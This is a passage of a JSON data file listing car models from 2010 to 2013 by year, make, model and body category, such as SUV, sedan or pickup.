"Model": "Sierra 1500 Crew Cab",
"Category": "Pickup"
},
{
"Year": 2013,
"Make": "GMC",
"Model": "Sierra 3500 HD Extended Cab",
"Category": "Pickup"
},
{
"Year": 2013,
"Make": "Honda",
"Model": "Pilot",
"Category": "SUV"
},
{
"Year": 2013,
"Make": "GMC",
"Model": "Sierra 2500 HD Crew Cab",
"Category": "Pickup"
},
{
"Year": 2013,
"Make": "Honda",
"Model": "Civic",
"Category": "Sedan, Coupe"
},
{
"Year": 2013,
"Make": "Honda",
"Model": "CR-V",
"Category": "SUV"
},
{
"Year": 2013,
"Make": "GMC",
"Model": "Sierra 1500 Extended Cab",
"Category": "Pickup"
},
{
"Year": 2013,
"Make": "GMC",
"Model": "Sierra 3500 HD Regular Cab",
"Category": "Pickup"
},
{
"Year": 2013,
"Make": "Honda",
"Model": "Insight",
"Category": "Hatchback"
},
{
"Year": 2013,
"Make": "GMC",
"Model": "Yukon XL 2500",
"Category": "SUV"
},
{
"Year": 2013,
"Make": "GMC",
"Model": "Sierra 2500 HD Regular Cab",
"Category": "Pickup"
},
{
"Year": 2013,
"Make": "GMC",
"Model": "Sierra 2500 HD Extended Cab",
"Category": "Pickup"
},
{
"Year": 2013,
"Make": "Honda",
"Model": "Crosstour",
"Category": "SUV"
},
{
"Year": 2013,
"Make": "Honda",
"Model": "Odyssey",
"Category": "Van/Minivan"
},
{
"Year": 2013,
"Make": "Hyundai",
"Model": "Santa Fe",
"Category": "SUV"
},
{
"Year": 2013,
"Make": "Honda",
"Model": "CR-Z",
"Category": "Coupe"
},
{
"Year": 2013,
"Make": "Honda",
"Model": "Accord",
"Category": "Sedan, Coupe"
},
{
"Year": 2013,
"Make": "Hyundai",
"Model": "Azera",
"Category": "Sedan"
},
{
"Year": 2013,
"Make": "Honda",
"Model": "Ridgeline",
"Category": "Pickup"
},
{
"Year": 2013,
"Make": "INFINITI",
"Model": "EX",
"Category": "SUV"
},
{
"Year": 2013,
"Make": "Honda",
"Model": "Fit",
"Category": "Hatchback"
},
{
"Year": 2013,
"Make": "INFINITI",
"Model": "QX",
"Category": "SUV"
},
{
"Year": 2013,
"Make": "Hyundai",
"Model": "Genesis",
"Category": "Sedan"
},
{
"Year": 2013,
"Make": "INFINITI",
"Model": "G",
"Category": "Sedan, Coupe, Convertible"
},
{
"Year": 2013,
"Make": "Hyundai",
"Model": "Equus",
"Category": "Sedan"
},
{
"Year": 2013,
"Make": "Hyundai",
"Model": "Sonata",
"Category": "Sedan"
},
{
"Year": 2013,
"Make": "Hyundai",
"Model": "Elantra",
"Category": "Sedan, Coupe, Hatchback"
},
{
"Year": 2013,
"Make": "Hyundai",
"Model": "Accent",
"Category": "Sedan, Hatchback"
},
{
"Year": 2013,
"Make": "Hyundai",
"Model": "Genesis Coupe",
"Category": "Coupe"
},
{
"Year": 2013,
"Make": "Hyundai",
"Model": "Veloster",
"Category": "Coupe"
},
{
"Year": 2013,
"Make": "Lamborghini",
"Model": "Gallardo",
"Category": "Coupe, Convertible"
},
{
"Year": 2013,
"Make": "Hyundai",
"Model": "Santa Fe Sport",
"Category": "SUV"
},
{
"Year": 2013,
"Make": "Jeep",
"Model": "Grand Cherokee",
"Category": "SUV"
},
{
"Year": 2013,
"Make": "Hyundai",
"Model": "Tucson",
"Category": "SUV"
},
{
"Year": 2013,
"Make": "INFINITI",
"Model": "JX",
"Category": "SUV"
},
{
"Year": 2013,
"Make": "Kia",
"Model": "Rio",
"Category": "Sedan, Hatchback"
},
{
"Year": 2013,
"Make": "INFINITI",
"Model": "FX",
"Category": "SUV"
},
{
"Year": 2013,
"Make": "Jeep",
"Model": "Compass",
"Category": "SUV"
},
{
"Year": 2013,
"Make": "Kia",
"Model": "Optima",
"Category": "Sedan"
},
{
"Year": 2013,
"Make": "Jaguar",
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"Category": "Sedan"
},
{
"Year": 2013,
"Make": "INFINITI",
"Model": "M",
"Category": "Sedan"
},
{
"Year": 2013,
"Make": "Jaguar",
"Model": "XJ",
"Category": "Sedan"
},
{
"Year": 2013,
"Make": "Lincoln",
"Model": "MKT",
"Category": "SUV"
},
{
"Year": 2013,
"Make": "Jaguar",
"Model": "XK",
"Category": "Coupe, Convertible"
},
{
"Year": 2013,
"Make": "Kia",
"Model": "Forte",
"Category": "Sedan, Hatchback, Coupe"
},
{
"Year": 2013,
"Make": "Jeep",
"Model": "Patriot",
"Category": "SUV"
},
{
"Year": 2013,
"Make": "Kia",
"Model": "Sportage",
"Category": "SUV"
},
{
"Year": 2013,
"Make": "Land Rover",
"Model": "Range Rover Sport",
"Category": "SUV"
},
{
"Year": 2013,
"Make": "Lexus",
"Model": "IS",
"Category": "Sedan, Convertible"
},
{
"Year": 2013,
"Make": "Jeep",
"Model": "Wrangler",
"Category": "SUV"
},
{
"Year": 2013,
"Make": "Lamborghini",
"Model": "Aventador",
"Category": "Coupe, Convertible"
},
{
"Year": 2013,
"Make": "Lexus",
"Model": "CT",
"Category": "Hatchback"
},
{
"Year": 2013,
"Make": "Kia",
"Model": "Sorento",
"Category": "SUV"
},
{
"Year": 2013,
"Make": "Land Rover",
"Model": "Range Rover",
"Category": "SUV"
},
{
"Year": 2013,
"Make": "Land Rover",
"Model": "LR4",
"Category": "SUV"
},
{
"Year": 2013,
"Make": "Lexus",
"Model": "GS",
"Category": "Sedan"
},
{
"Year": 2013,
"Make": "Land Rover",
"Model": "LR2",
"Category": "SUV"
},
{
"Year": 2013,
"Make": "Land Rover",
"Model": "Range Rover Evoque",
"Category": "SUV"
},
{
"Year": 2013,
"Make": "Kia",
"Model": "Soul",
"Category": "Wagon"
},
{
"Year": 2013,
"Make": "Lexus",
"Model": "GX",
"Category": "SUV"
},
{
"Year": 2013,
"Make": "Lexus",
"Model": "LX",
"Category": "SUV"
},
{
"Year": 2013,
"Make": "Lincoln",
"Model": "MKS",
"Category": "Sedan"
},
{
"Year": 2013,
"Make": "Lexus",
"Model": "ES",
"Category": "Sedan"
},
{
"Year": 2013,
"Make": "Lexus",
"Model": "RX",
"Category": "SUV"
},
{
"Year": 2013,
"Make": "Lexus",
"Model": "LS",
"Category": "Sedan"
},
{
"Year": 2013,
"Make": "Lincoln",
"Model": "MKX",
"Category": "SUV"
},
{
"Year": 2013,
"Make": "Lincoln",
"Model": "Navigator L",
"Category": "SUV"
},
{
"Year": 2013,
"Make": "MAZDA",
"Model": "CX-5",
"Category": "SUV"
},
{
"Year": 2013,
"Make": "MAZDA",
"Model": "MAZDA2",
"Category": "Hatchback"
},
{
"Year": 2013,
"Make": "MAZDA",
"Model": "CX-9",
"Category": "SUV"
},
{
"Year": 2013,
"Make": "Maserati",
"Model": "Quattroporte",
"Category": "Sedan"
},
{
"Year": 2013,
"Make": "MAZDA",
"Model": "MAZDA3",
"Category": "Sedan, Hatchback"
},
{
"Year": 2013,
"Make": "Lincoln",
"Model": "MKZ",
"Category": "Sedan"
},
{
"Year": 2013,
"Make": "Lincoln",
"Model": "Navigator",
"Category": "SUV"
},
{
"Year": 2013,
"Make": "MAZDA",
"Model": "MAZDA5",
"Category": "Van/Minivan"
},
{
"Year": 2013,
"Make": "McLaren",
"Model": "MP4-12C",
"Category": "Coupe"
},
{
"Year": 2013,
"Make": "MAZDA",
"Model": "MX-5 Miata",
"Category": "Convertible"
},
{
"Year": 2013,
"Make": "Maserati",
"Model": "GranTurismo",
"Category": "Coupe, Convertible"
},
{
"Year": 2013,
"Make": "Lotus",
"Model": "Evora",
"Category": "Coupe"
},
{
"Year": 2013,
"Make": "Mercedes-Benz",
"Model": "E-Class",
"Category": "Sedan, Coupe, Wagon, Convertible"
},
{
"Year": 2013,
"Make": "Mercedes-Benz",
"Model": "G-Class",
"Category": "SUV"
},
{
"Year": 2013,
"Make": "MINI",
"Model": "Countryman",
"Category": "Hatchback"
},
{
"Year": 2013,
"Make": "Mercedes-Benz",
"Model": "Sprinter 2500 Passenger",
"Category": "Van/Minivan"
},
{
"Year": 2013,
"Make": "Mercedes-Benz",
"Model": "C-Class",
"Category": "Sedan, Coupe"
},
{
"Year": 2013,
"Make": "Mercedes-Benz",
"Model": "GLK-Class",
"Category": "SUV"
},
{
"Year": 2013,
"Make": "Mercedes-Benz",
"Model": "SL-Class",
"Category": "Convertible"
},
{
"Year": 2013,
"Make": "MINI",
"Model": "Hardtop",
"Category": "Hatchback"
},
{
"Year": 2013,
"Make": "Mercedes-Benz",
"Model": "GL-Class",
"Category": "SUV"
},
{
"Year": 2013,
"Make": "Mercedes-Benz",
"Model": "M-Class",
"Category": "SUV"
},
{
"Year": 2013,
"Make": "MAZDA",
"Model": "MAZDA6",
"Category": "Sedan"
},
{
"Year": 2013,
"Make": "Mercedes-Benz",
"Model": "Sprinter 2500 Cargo",
"Category": "Van/Minivan"
},
{
"Year": 2013,
"Make": "MINI",
"Model": "Clubman",
"Category": "Hatchback"
},
{
"Year": 2013,
"Make": "Mercedes-Benz",
"Model": "CL-Class",
"Category": "Coupe"
},
{
"Year": 2013,
"Make": "Mercedes-Benz",
"Model": "SLS-Class",
"Category": "Coupe, Convertible"
},
{
"Year": 2013,
"Make": "Mercedes-Benz",
"Model": "S-Class",
"Category": "Sedan"
},
{
"Year": 2013,
"Make": "Mercedes-Benz",
"Model": "Sprinter 2500 Crew",
"Category": "Van/Minivan"
},
{
"Year": 2013,
"Make": "MINI",
"Model": "Coupe",
"Category": "Coupe"
},
{
"Year": 2013,
"Make": "Mercedes-Benz",
"Model": "SLK-Class",
"Category": "Convertible"
},
{
"Year": 2013,
"Make": "Mitsubishi",
"Model": "Outlander",
"Category": "SUV"
},
{
"Year": 2013,
"Make": "Mercedes-Benz",
"Model": "CLS-Class",
"Category": "Coupe"
},
{
"Year": 2013,
"Make": "Mercedes-Benz",
"Model": "Sprinter 3500 Cargo",
"Category": "Van/Minivan"
},
{
"Year": 2013,
"Make": "Mitsubishi",
"Model": "Lancer",
"Category": "Sedan, Hatchback"
},
{
"Year": 2013,
"Make": "Nissan",
"Model": "Altima",
"Category": "Sedan, Coupe"
},
{
"Year": 2013,
"Make": "Nissan",
"Model": "Armada",
"Category": "SUV"
},
{
"Year": 2013,
"Make": "Nissan",
"Model": "370Z",
"Category": "Coupe, Convertible"
},
{
"Year": 2013,
"Make": "MINI",
"Model": "Roadster",
"Category": "Convertible"
},
{
"Year": 2013,
"Make": "Nissan",
"Model": "Frontier Crew Cab",
"Category": "Pickup"
},
{
"Year": 2013,
"Make": "Nissan",
"Model": "Murano",
"Category": "SUV"
},
{
"Year": 2013,
"Make": "Nissan",
"Model": "NV200",
"Category": "Van/Minivan"
},
{
"Year": 2013,
"Make": "Porsche",
"Model": "Boxster",
"Category": "Convertible"
},
{
"Year": 2013,
"Make": "Nissan",
"Model": "Frontier King Cab",
"Category": "Pickup"
},
{
"Year": 2013,
"Make": "Nissan",
"Model": "Pathfinder",
"Category": "SUV"
},
{
"Year": 2013,
"Make": "Nissan",
"Model": "Rogue",
"Category": "SUV"
},
{
"Year": 2013,
"Make": "MINI",
"Model": "Paceman",
"Category": "Hatchback"
},
{
"Year": 2013,
"Make": "Mitsubishi",
"Model": "Outlander Sport",
"Category": "SUV"
},
{
"Year": 2013,
"Make": "Nissan",
"Model": "NV1500 Cargo",
"Category": "Van/Minivan"
},
{
"Year": 2013,
"Make": "Nissan",
"Model": "NV3500 HD Passenger",
"Category": "Van/Minivan"
},
{
"Year": 2013,
"Make": "Nissan",
"Model": "GT-R",
"Category": "Coupe"
},
{
"Year": 2013,
"Make": "Nissan",
"Model": "NV2500 HD Cargo",
"Category": "Van/Minivan"
},
{
"Year": 2013,
"Make": "Porsche",
"Model": "911",
"Category": "Coupe, Convertible"
},
{
"Year": 2013,
"Make": "Nissan",
"Model": "Maxima",
"Category": "Sedan"
},
{
"Year": 2013,
"Make": "Porsche",
"Model": "Panamera",
"Category": "Sedan"
},
{
"Year": 2013,
"Make": "Ram",
"Model": "1500 Crew Cab",
"Category": "Pickup"
},
{
"Year": 2013,
"Make": "Nissan",
"Model": "Titan Crew Cab",
"Category": "Pickup"
},
{
"Year": 2013,
"Make": "MINI",
"Model": "Convertible",
"Category": "Convertible"
},
{
"Year": 2013,
"Make": "Nissan",
"Model": "Xterra",
"Category": "SUV"
},
{
"Year": 2013,
"Make": "Nissan",
"Model": "NV3500 HD Cargo",
"Category": "Van/Minivan"
},
{
"Year": 2013,
"Make": "Ram",
"Model": "2500 Regular Cab",
"Category": "Pickup"
},
{
"Year": 2013,
"Make": "Nissan",
"Model": "Titan King Cab",
"Category": "Pickup"
},
{
"Year": 2013,
"Make": "Nissan",
"Model": "Versa",
"Category": "Sedan"
},
{
"Year": 2013,
"Make": "Nissan",
"Model": "cube",
"Category": "Wagon"
},
{
"Year": 2013,
"Make": "Nissan",
"Model": "LEAF",
"Category": "Hatchback"
},
{
"Year": 2013,
"Make": "Nissan",
"Model": "JUKE",
"Category": "SUV"
},
{
"Year": 2013,
"Make": "Nissan",
"Model": "Quest",
"Category": "Van/Minivan"
},
{
"Year": 2013,
"Make": "Nissan",
"Model": "Sentra",
"Category": "Sedan"
},
{
"Year": 2013,
"Make": "Porsche",
"Model": "Cayenne",
"Category": "SUV"
},
{
"Year": 2013,
"Make": "Ram",
"Model": "1500 Quad Cab",
"Category": "Pickup"
},
{
"Year": 2013,
"Make": "Ram",
"Model": "3500 Mega Cab",
"Category": "Pickup"
},
{
"Year": 2013,
"Make": "Ram",
"Model": "3500 Crew Cab",
"Category": "Pickup"
},
{
"Year": 2013,
"Make": "Rolls-Royce",
"Model": "Phantom",
"Category": "Sedan, Coupe, Convertible"
},
{
"Year": 2013,
"Make": "Scion",
"Model": "FR-S",
"Category": "Coupe"
},
{
"Year": 2013,
"Make": "Rolls-Royce",
"Model": "Ghost",
"Category": "Sedan"
},
{
"Year": 2013,
"Make": "Scion",
"Model": "xB",
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{
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{
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{
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{
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"Year": 2012,
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"Year": 2012,
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"Year": 2012,
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{
"Year": 2012,
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
"Year": 2012,
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{
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{
"Year": 2012,
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{
"Year": 2012,
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{
"Year": 2012,
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{
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{
"Year": 2012,
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{
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{
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{
"Year": 2012,
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{
"Year": 2012,
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
"Year": 2012,
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{
"Year": 2012,
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{
"Year": 2012,
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{
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{
"Year": 2012,
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{
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{
"Year": 2012,
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{
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{
"Year": 2012,
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{
"Year": 2012,
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{
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{
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{
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{
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{
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{
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{
"Year": 2012,
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{
"Year": 2012,
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
"Year": 2012,
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{
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{
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{
"Year": 2012,
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{
"Year": 2012,
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{
"Year": 2012,
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{
"Year": 2012,
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{
"Year": 2012,
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{
"Year": 2012,
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{
"Year": 2012,
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{
"Year": 2012,
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{
"Year": 2012,
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{
"Year": 2012,
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{
"Year": 2012,
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{
"Year": 2012,
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{
"Year": 2012,
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{
"Year": 2012,
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{
"Year": 2012,
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{
"Year": 2012,
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{
"Year": 2012,
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{
"Year": 2012,
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{
"Year": 2012,
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{
"Year": 2012,
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},
{
"Year": 2012,
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{
"Year": 2012,
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{
"Year": 2012,
"Make": "Ram",
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{
"Year": 2012,
"Make": "Toyota",
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},
{
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},
{
"Year": 2011,
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{
"Year": 2012,
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{
"Year": 2012,
"Make": "Toyota",
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},
{
"Year": 2012,
"Make": "Subaru",
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},
{
"Year": 2012,
"Make": "Suzuki",
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{
"Year": 2012,
"Make": "Toyota",
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{
"Year": 2012,
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"Category": "Hatchback"
},
{
"Year": 2012,
"Make": "Volvo",
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},
{
"Year": 2012,
"Make": "Ram",
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},
{
"Year": 2012,
"Make": "Subaru",
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},
{
"Year": 2012,
"Make": "Suzuki",
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"Category": "SUV"
},
{
"Year": 2012,
"Make": "Toyota",
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{
"Year": 2012,
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},
{
"Year": 2012,
"Make": "Subaru",
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},
{
"Year": 2012,
"Make": "Toyota",
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},
{
"Year": 2012,
"Make": "smart",
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},
{
"Year": 2012,
"Make": "Volkswagen",
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"Category": "SUV"
},
{
"Year": 2012,
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{
"Year": 2012,
"Make": "Toyota",
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},
{
"Year": 2012,
"Make": "Subaru",
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},
{
"Year": 2012,
"Make": "Toyota",
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},
{
"Year": 2012,
"Make": "Volvo",
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"Category": "SUV"
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{
"Year": 2012,
"Make": "Toyota",
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},
{
"Year": 2012,
"Make": "Scion",
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"Category": "Coupe"
},
{
"Year": 2012,
"Make": "Toyota",
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"Category": "Hatchback"
},
{
"Year": 2012,
"Make": "Volkswagen",
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},
{
"Year": 2012,
"Make": "Suzuki",
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"Category": "Pickup"
},
{
"Year": 2012,
"Make": "Toyota",
"Model": "Tacoma Double Cab",
"Category": "Pickup"
},
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"Year": 2012,
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{
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{
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{
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{
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"Year": 2011,
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{
"Year": 2011,
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{
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"Year": 2011,
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{
"Year": 2011,
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{
"Year": 2011,
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"Year": 2011,
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{
"Year": 2011,
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{
"Year": 2011,
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{
"Year": 2011,
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{
"Year": 2011,
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{
"Year": 2011,
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{
"Year": 2011,
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{
"Year": 2011,
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{
"Year": 2011,
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"Year": 2011,
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{
"Year": 2011,
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{
"Year": 2011,
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{
"Year": 2011,
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{
"Year": 2011,
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{
"Year": 2011,
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},
{
"Year": 2011,
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{
"Year": 2011,
"Make": "Ford",
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{
"Year": 2011,
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{
"Year": 2011,
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{
"Year": 2011,
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{
"Year": 2011,
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{
"Year": 2011,
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{
"Year": 2011,
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{
"Year": 2011,
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{
"Year": 2011,
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{
"Year": 2011,
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{
"Year": 2011,
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{
"Year": 2011,
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{
"Year": 2011,
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{
"Year": 2011,
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"Model": "Yukon XL 1500",
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},
{
"Year": 2011,
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"Category": "SUV"
},
{
"Year": 2011,
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"Category": "Coupe"
},
{
"Year": 2011,
"Make": "GMC",
"Model": "Yukon",
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},
{
"Year": 2011,
"Make": "Honda",
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"Category": "SUV"
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{
"Year": 2011,
"Make": "Honda",
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{
"Year": 2011,
"Make": "Honda",
"Model": "Civic",
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},
{
"Year": 2011,
"Make": "GMC",
"Model": "Terrain",
"Category": "SUV"
},
{
"Year": 2011,
"Make": "Hyundai",
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"Category": "SUV"
},
{
"Year": 2011,
"Make": "Honda",
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"Category": "SUV"
},
{
"Year": 2011,
"Make": "Hyundai",
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{
"Year": 2011,
"Make": "Honda",
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"Category": "Hatchback"
},
{
"Year": 2011,
"Make": "Honda",
"Model": "Element",
"Category": "SUV"
},
{
"Year": 2011,
"Make": "Honda",
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},
{
"Year": 2011,
"Make": "Hyundai",
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},
{
"Year": 2011,
"Make": "INFINITI",
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"Category": "Sedan"
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{
"Year": 2011,
"Make": "Hyundai",
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"Category": "Coupe"
},
{
"Year": 2011,
"Make": "Kia",
"Model": "Rio",
"Category": "Sedan, Hatchback"
},
{
"Year": 2011,
"Make": "Hyundai",
"Model": "Elantra",
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},
{
"Year": 2011,
"Make": "Jaguar",
"Model": "XF",
"Category": "Sedan"
},
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"Year": 2011,
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{
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"Make": "INFINITI",
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{
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{
"Year": 2011,
"Make": "Jeep",
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{
"Year": 2011,
"Make": "Hyundai",
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{
"Year": 2011,
"Make": "INFINITI",
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{
"Year": 2011,
"Make": "Jeep",
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{
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"Make": "Kia",
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{
"Year": 2011,
"Make": "Honda",
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{
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{
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"Make": "Land Rover",
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{
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"Make": "Hyundai",
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{
"Year": 2011,
"Make": "Lamborghini",
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},
{
"Year": 2011,
"Make": "Hyundai",
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{
"Year": 2011,
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{
"Year": 2011,
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{
"Year": 2011,
"Make": "Lexus",
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"Category": "Hatchback"
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{
"Year": 2011,
"Make": "Hyundai",
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{
"Year": 2011,
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{
"Year": 2011,
"Make": "Lexus",
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{
"Year": 2011,
"Make": "Lexus",
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{
"Year": 2011,
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{
"Year": 2011,
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{
"Year": 2011,
"Make": "Lexus",
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{
"Year": 2011,
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{
"Year": 2011,
"Make": "INFINITI",
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{
"Year": 2011,
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{
"Year": 2011,
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{
"Year": 2011,
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{
"Year": 2011,
"Make": "Jeep",
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{
"Year": 2011,
"Make": "Hyundai",
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{
"Year": 2011,
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{
"Year": 2011,
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{
"Year": 2011,
"Make": "Lincoln",
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{
"Year": 2011,
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{
"Year": 2011,
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{
"Year": 2011,
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{
"Year": 2011,
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{
"Year": 2011,
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{
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{
"Year": 2011,
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{
"Year": 2011,
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{
"Year": 2011,
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{
"Year": 2011,
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{
"Year": 2011,
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{
"Year": 2011,
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{
"Year": 2011,
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{
"Year": 2011,
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{
"Year": 2011,
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{
"Year": 2011,
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{
"Year": 2011,
"Make": "Maybach",
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{
"Year": 2011,
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{
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{
"Year": 2011,
"Make": "Maybach",
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{
"Year": 2011,
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
"Year": 2011,
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
"Year": 2011,
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{
"Year": 2011,
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{
"Year": 2011,
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{
"Year": 2011,
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{
"Year": 2011,
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{
"Year": 2011,
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{
"Year": 2011,
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{
"Year": 2011,
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{
"Year": 2011,
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{
"Year": 2011,
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{
"Year": 2011,
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{
"Year": 2011,
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{
"Year": 2011,
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{
"Year": 2011,
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{
"Year": 2011,
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{
"Year": 2011,
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{
"Year": 2011,
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{
"Year": 2011,
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{
"Year": 2011,
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{
"Year": 2011,
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{
"Year": 2011,
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{
"Year": 2011,
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{
"Year": 2011,
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{
"Year": 2011,
"Make": "Subaru",
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"Category": "SUV"
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{
"Year": 2011,
"Make": "Ram",
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{
"Year": 2011,
"Make": "Suzuki",
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{
"Year": 2011,
"Make": "smart",
"Model": "fortwo",
"Category": "Hatchback, Convertible"
},
{
"Year": 2011,
"Make": "Toyota",
"Model": "Camry",
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{
"Year": 2011,
"Make": "Saab",
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{
"Year": 2011,
"Make": "Ram",
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"Category": "Pickup"
},
{
"Year": 2011,
"Make": "Suzuki",
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"Category": "Sedan, Hatchback"
},
{
"Year": 2011,
"Make": "Subaru",
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"Category": "Wagon"
},
{
"Year": 2011,
"Make": "Suzuki",
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},
{
"Year": 2011,
"Make": "Toyota",
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},
{
"Year": 2011,
"Make": "Toyota",
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},
{
"Year": 2011,
"Make": "Toyota",
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},
{
"Year": 2011,
"Make": "Toyota",
"Model": "Sienna",
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},
{
"Year": 2011,
"Make": "Toyota",
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"Category": "Pickup"
},
{
"Year": 2011,
"Make": "Toyota",
"Model": "Highlander",
"Category": "SUV"
},
{
"Year": 2011,
"Make": "Toyota",
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"Category": "Wagon"
},
{
"Year": 2011,
"Make": "Toyota",
"Model": "Tacoma Access Cab",
"Category": "Pickup"
},
{
"Year": 2011,
"Make": "Toyota",
"Model": "RAV4",
"Category": "SUV"
},
{
"Year": 2011,
"Make": "Toyota",
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"Category": "SUV"
},
{
"Year": 2011,
"Make": "Toyota",
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"Category": "Hatchback"
},
{
"Year": 2011,
"Make": "Toyota",
"Model": "Sequoia",
"Category": "SUV"
},
{
"Year": 2011,
"Make": "Toyota",
"Model": "Tundra Regular Cab",
"Category": "Pickup"
},
{
"Year": 2011,
"Make": "Toyota",
"Model": "Yaris",
"Category": "Hatchback, Sedan"
},
{
"Year": 2011,
"Make": "Volkswagen",
"Model": "Golf",
"Category": "Hatchback"
},
{
"Year": 2011,
"Make": "Volkswagen",
"Model": "Eos",
"Category": "Convertible"
},
{
"Year": 2011,
"Make": "Toyota",
"Model": "Tundra CrewMax",
"Category": "Pickup"
},
{
"Year": 2011,
"Make": "Toyota",
"Model": "Tacoma Regular Cab",
"Category": "Pickup"
},
{
"Year": 2011,
"Make": "Toyota",
"Model": "Tundra Double Cab",
"Category": "Pickup"
},
{
"Year": 2011,
"Make": "Toyota",
"Model": "Venza",
"Category": "Wagon"
},
{
"Year": 2011,
"Make": "Volvo",
"Model": "S80",
"Category": "Sedan"
},
{
"Year": 2011,
"Make": "Volkswagen",
"Model": "Touareg",
"Category": "SUV"
},
{
"Year": 2011,
"Make": "Volvo",
"Model": "S60",
"Category": "Sedan"
},
{
"Year": 2011,
"Make": "Volkswagen",
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"Category": "Hatchback"
},
{
"Year": 2011,
"Make": "Volkswagen",
"Model": "Tiguan",
"Category": "SUV"
},
{
"Year": 2011,
"Make": "Volkswagen",
"Model": "Jetta",
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},
{
"Year": 2011,
"Make": "Volkswagen",
"Model": "CC",
"Category": "Sedan"
},
{
"Year": 2010,
"Make": "Acura",
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"Category": "SUV"
},
{
"Year": 2010,
"Make": "Audi",
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"Category": "Sedan"
},
{
"Year": 2010,
"Make": "Acura",
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"Category": "Sedan"
},
{
"Year": 2010,
"Make": "Acura",
"Model": "RDX",
"Category": "SUV"
},
{
"Year": 2011,
"Make": "Volvo",
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"Category": "Convertible"
},
{
"Year": 2011,
"Make": "Volvo",
"Model": "C30",
"Category": "Hatchback"
},
{
"Year": 2011,
"Make": "Volvo",
"Model": "V50",
"Category": "Wagon"
},
{
"Year": 2010,
"Make": "Audi",
"Model": "A3",
"Category": "Wagon"
},
{
"Year": 2011,
"Make": "Volvo",
"Model": "S40",
"Category": "Sedan"
},
{
"Year": 2010,
"Make": "Acura",
"Model": "RL",
"Category": "Sedan"
},
{
"Year": 2011,
"Make": "Volvo",
"Model": "XC60",
"Category": "SUV"
},
{
"Year": 2011,
"Make": "Volvo",
"Model": "XC90",
"Category": "SUV"
},
{
"Year": 2010,
"Make": "Bentley",
"Model": "Continental",
"Category": "Convertible, Sedan, Coupe"
},
{
"Year": 2011,
"Make": "Volvo",
"Model": "XC70",
"Category": "Wagon"
},
{
"Year": 2010,
"Make": "<NAME>",
"Model": "DB9",
"Category": "Coupe, Convertible"
},
{
"Year": 2010,
"Make": "<NAME>",
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"Category": "Coupe, Convertible"
},
{
"Year": 2010,
"Make": "Acura",
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"Category": "SUV"
},
{
"Year": 2010,
"Make": "Acura",
"Model": "TL",
"Category": "Sedan"
},
{
"Year": 2010,
"Make": "Audi",
"Model": "S6",
"Category": "Sedan"
},
{
"Year": 2010,
"Make": "Audi",
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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{
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},
{
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{
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},
{
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{
"Year": 2010,
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{
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{
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{
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{
"Year": 2010,
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{
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{
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{
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{
"Year": 2010,
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{
"Year": 2010,
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{
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{
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{
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{
"Year": 2010,
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},
{
"Year": 2010,
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{
"Year": 2010,
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{
"Year": 2010,
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{
"Year": 2010,
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{
"Year": 2010,
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{
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{
"Year": 2010,
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{
"Year": 2010,
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},
{
"Year": 2010,
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{
"Year": 2010,
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},
{
"Year": 2010,
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},
{
"Year": 2010,
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},
{
"Year": 2010,
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},
{
"Year": 2010,
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"Category": "Hatchback"
},
{
"Year": 2010,
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},
{
"Year": 2010,
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"Category": "SUV"
},
{
"Year": 2010,
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"Category": "Pickup"
},
{
"Year": 2010,
"Make": "INFINITI",
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"Category": "SUV"
},
{
"Year": 2010,
"Make": "Honda",
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"Category": "SUV"
},
{
"Year": 2010,
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"Category": "Coupe"
},
{
"Year": 2010,
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"Category": "SUV"
},
{
"Year": 2010,
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"Category": "Coupe, Sedan, Convertible"
},
{
"Year": 2010,
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"Category": "Hatchback"
},
{
"Year": 2010,
"Make": "Honda",
"Model": "Ridgeline",
"Category": "Pickup"
},
{
"Year": 2010,
"Make": "Hyundai",
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},
{
"Year": 2010,
"Make": "Hyundai",
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"Category": "SUV"
},
{
"Year": 2010,
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},
{
"Year": 2010,
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"Category": "SUV"
},
{
"Year": 2010,
"Make": "Hyundai",
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},
{
"Year": 2010,
"Make": "INFINITI",
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"Category": "SUV"
},
{
"Year": 2010,
"Make": "Hyundai",
"Model": "Tucson",
"Category": "SUV"
},
{
"Year": 2010,
"Make": "Jaguar",
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"Category": "Coupe, Convertible"
},
{
"Year": 2010,
"Make": "Jeep",
"Model": "Patriot",
"Category": "SUV"
},
{
"Year": 2010,
"Make": "Jeep",
"Model": "Compass",
"Category": "SUV"
},
{
"Year": 2010,
"Make": "Jeep",
"Model": "Liberty",
"Category": "SUV"
},
{
"Year": 2010,
"Make": "Kia",
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"Category": "Wagon"
},
{
"Year": 2010,
"Make": "INFINITI",
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"Category": "Sedan"
},
{
"Year": 2010,
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"Category": "Sedan"
},
{
"Year": 2010,
"Make": "Jeep",
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"Category": "SUV"
},
{
"Year": 2010,
"Make": "Kia",
"Model": "Rio",
"Category": "Sedan, Hatchback"
},
{
"Year": 2010,
"Make": "Lamborghini",
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"Category": "Coupe, Convertible"
},
{
"Year": 2010,
"Make": "Jeep",
"Model": "Wrangler",
"Category": "SUV"
},
{
"Year": 2010,
"Make": "Kia",
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},
{
"Year": 2010,
"Make": "Kia",
"Model": "Forte",
"Category": "Sedan, Coupe"
},
{
"Year": 2010,
"Make": "Jeep",
"Model": "Grand Cherokee",
"Category": "SUV"
},
{
"Year": 2010,
"Make": "Lamborghini",
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"Category": "Coupe, Convertible"
},
{
"Year": 2010,
"Make": "Kia",
"Model": "Sedona",
"Category": "Van/Minivan"
},
{
"Year": 2010,
"Make": "Land Rover",
"Model": "Range Rover Sport",
"Category": "SUV"
},
{
"Year": 2010,
"Make": "Lexus",
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"Category": "Sedan"
},
{
"Year": 2010,
"Make": "Land Rover",
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"Category": "SUV"
},
{
"Year": 2010,
"Make": "Lincoln",
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},
{
"Year": 2010,
"Make": "Lexus",
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"Category": "SUV"
},
{
"Year": 2010,
"Make": "Kia",
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"Category": "Wagon"
},
{
"Year": 2010,
"Make": "Lincoln",
